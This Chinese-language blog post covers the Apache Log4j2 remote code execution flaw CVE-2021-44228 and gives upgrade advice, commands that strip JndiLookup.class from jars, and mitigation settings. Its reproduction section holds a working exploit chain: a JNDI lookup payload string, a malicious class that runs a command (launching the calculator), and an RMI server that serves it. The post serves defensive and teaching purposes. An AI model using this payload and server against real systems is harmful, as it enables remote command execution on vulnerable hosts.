Apache log4j2 远程命令执行漏洞复现及修复方案

2021-12-27 重要更新:

根据官网消息,2.16.0和2.17.0版本包暴露了新的漏洞(CVE-2021-45105)和(CVE-2021-44832)。建议升级到2.17.1版本。

2021-12-18重要更新:

根据Apache Log4j2官网信息,针对漏洞CVE-2021-44228的临时规避方案,除了删除class之外,其他设置formatMsgNoLookups等环境变量的方案,在特定情况下会失效。建议升级到2.16.0版本,或者删除class文件。

另外,2.16.0版本仍存在漏洞CVE-2021-45105,当前官网给的方案是升级到2.17.0,并时刻关注官网信息。

参考:2012-12-18官网信息

2012-12-18官网信息

附:从jar包中删除class文件的方法:

注意:

  • 如果容器化部署,容器实例重启后操作会复原,需要重新操作。
  • 实际执行需要关注文件属主和权限等安全属性。

1. 非SpringBoot的jar包,直接删除log4j-core-*.jar中class文件

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

2. SpringBoot的jar包,需要解压出log4j-core*.jar,删除class文件后重新打包

2.1 使用zip和unzip命令
# 以Demo.jar为例
## 解压获得log4j-core*.jar
unzip -o Demo.jar BOOT-INF/lib/log4j-core*.jar
## 删除class
zip -q -d BOOT-INF/lib/log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
## 重新打包
zip -r -0 Demo.jar BOOT-INF/
## 检查jar包中的log4j-core*.jar包是否已经更新
unzip -l Demo.jar | grep log4j-core
## 删除临时文件
rm -rf BOOT-INF/
## 检查下jar包是否可以正常启动
java -jar Demo.jar

2.2 使用jar命令(需要jdk)
# 以Demo.jar为例

## 创建临时目录
rm -rf tmp && mkdir tmp && cd tmp
## 解压
jar -xf ../Demo.jar
## 删除class
zip -q -d BOOT-INF/lib/log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
## 重新打包
jar -cfm0 Demo.jar ./META-INF/MANIFEST.MF ./
## 删除临时文件
rm -rf BOOT-INF/ META-INF/ org/
## 检查下jar包是否可以正常启动
java -jar Demo.jar

1. 漏洞信息

漏洞软件: Apache Log4j2

漏洞编号:CVE-2021-44228

漏洞描述:Apache Log4j2 远程命令执行

时间:2021-11-26

漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

漏洞影响范围版本:2.0.beta9 to 2.14.1

2. 排查指导

查看引用了 log4j-apilog4j-core 两个jar包,如maven依赖:

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

3. 修复方案

升级到 2.16.0 版本

4. 缓解措施(已失效)

2.10 <= 版本 <= 2.14.1

以下方法任选一种:

  1. 添加jvm参数:-Dlog4j2.formatMsgNoLookups=true
  2. 在应用classpath下添加文件log4j2.component.properties,添加配置log4j2.formatMsgNoLookups=true
  3. 添加系统环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true

2.0-beta9 <= 版本 < 2.10

在classpath中移除JndiLookup

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

参考官网信息:

官网信息

参考信息

1. Apache Log4j2 官网漏洞信息

2. 缓解措施,环境变量名称应该为LOG4J_FORMAT_MSG_NO_LOOKUPS

3. Apache Log4j2 github地址

4. 复现代码

漏洞信息:

复现代码

1. pom依赖

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

2. 被攻击代码

package com.example.log4j2demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2Demo {
    private static final Logger LOGGER = LogManager.getLogger(Log4j2Demo.class);


    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.out.println("begin of print log...");

        String logContent = "${jndi:rmi://127.0.0.1:1099/evil}";
        // 模拟另外一台机器运行恶意代码
//        String logContent = "${jndi:rmi://192.168.3.57:1099/evil}";
        LOGGER.error("hello, {}", logContent);
        System.out.println("end of print log...");
    }
}

2. 恶意代码(以启动计算器为例)

package com.example.log4j2demo;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Hashtable;

public class EvilObj implements ObjectFactory {

    static {
        System.out.println("begin to run EvilObj static code...");

        try {
            Process p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc.exe"});
            InputStream inputStream = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            p.waitFor();
            inputStream.close();
            reader.close();
            p.destroy();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("getObjectInstance of EvilObj ...");
        return null;
    }

}

4. RMIServer

package com.example.log4j2demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099...");

            String className = "com.example.log4j2demo.EvilObj";
            Reference reference = new Reference(className, className, className);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
            System.out.println("registry bind ...");

        } catch (Exception e) {
            e.printStackTrace();

        }
    }
}

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值